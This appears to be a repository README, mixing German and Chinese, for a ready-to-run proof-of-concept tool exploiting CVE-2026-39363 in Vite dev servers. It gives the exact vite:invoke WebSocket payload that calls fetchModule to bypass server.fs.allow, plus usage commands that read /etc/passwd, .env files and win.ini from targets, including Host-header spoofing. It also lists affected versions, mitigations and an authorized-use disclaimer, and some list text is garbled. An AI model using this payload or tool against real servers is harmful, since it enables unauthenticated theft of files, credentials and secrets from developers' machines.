
方便实用的CVE-2026-39363利用工具
Ein direkt ausführbarer PoC für GHSA-p9ff-h696-f583. Über einen nicht authentifizierten HMR-WebSocket wird fetchModule aufgerufen, wodurch die server.fs.allow-Beschränkung der HTTP-Schicht umgangen wird, um beliebige Dateien auf der Maschine des Dev-Servers zu lesen.
| Versionslinie | Betroffen | Behoben |
|---|---|---|
| Vite 6 | >=6.0.0, <=6.4.1 | 6.4.2 |
| Vite 7 | >=7.0.0, <=7.3.1 | 7.3.2 |
| Vite 8 | >=8.0.0, <=8.0.4 | 8.0.5 |
| vite-plus (VoidZero-Zweig) | <=0.1.15 | 0.1.16 |
Voraussetzungen:
--host / server.host), undserver.ws: false).CVSS 3.1 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), CWE-200 + CWE-306.
CISA SSVC hat exploitation=poc, automatable=yes markiert.
server.fs.allow blockiert (/@fs/<absoluter Pfad> → 403).Sec-WebSocket-Protocol: vite-hmr-Header sowie?token=-Abfrageparameter (CWE-306: Nicht-Browser-Clients können sich ohne Origin-Header direkt verbinden).vite:invoke-Custom-Event gesendet, um die serverseitig registrierte Methode fetchModule mit file://<absoluter Pfad>?raw aufzurufen. fetchModule läuft direkt durch die Modul-Transform-Pipeline und umgeht die fs.allow-Prüfung vollständig, wobei der Dateiinhalt als export default "..." zurückgegeben wird (CWE-200).Struktur der vite:invoke-Request-Nachricht (in v6/v7/v8 identisch):
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "1send",
"data": ["file:///etc/passwd?raw"]
}
}
In der Serverantwort wird id zu 1response, data.data.result.code enthält den Dateiinhalt.
Nur die Python-3-Standardbibliothek erforderlich, keine Drittanbieter-Abhängigkeiten:
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd
# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini
# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/
# HTTPS dev server
python exp.py https://target:5173 /etc/passwd
# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173
Parameter:
Der PoC in diesem Repository wurde in folgenden Umgebungen erfolgreich getestet (gelesen wurde secret.txt außerhalb der Dev-Server-Root; der HTTP-@fs-Pfad für dieselbe Datei liefert 403):
vite --host 0.0.0.0, Windows)Reproduktionsschritte (gleicher Ablauf wie der PoC):
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173
# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw' # -> 403
# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>
vite build + statisches Hosting verwenden, nicht vite dev ausführen.server.ws: false deaktiviert HMR, oder einen Reverse-Proxy einrichten, der nur lokalen Zugriff auf den Dev-Server-Port erlaubt.Nur für autorisierte Penetrationstests, Schwachstellen-Reproduktion und Abwehrforschung. Die Verantwortung für Konsequenzen, die durch unbefugte Verwendung dieses Tools gegen Systeme anderer entstehen, liegt beim Nutzer.
| Parameter | Beschreibung |
|---|
url | Ziel, z. B. http://192.168.1.10:5173 |
files | Absolute Pfade zum Lesen, POSIX- oder Windows-Stil |
--host-header | Fälscht den Host-Header (standardmäßig der Zielhost). Standardmäßig sind nur IP/localhost erlaubt, benutzerdefinierte Domains müssen explizit konfiguriert werden |
--ws-path | HMR-WebSocket-Pfad, standardmäßig / (muss angepasst werden, wenn der Zielserver server.hmr.path konfiguriert hat) |
--timeout | Timeout in Sekunden pro Anfrage, Standard 10 |
-o/--output-dir | Speichert gelesene Inhalte in ein Verzeichnis |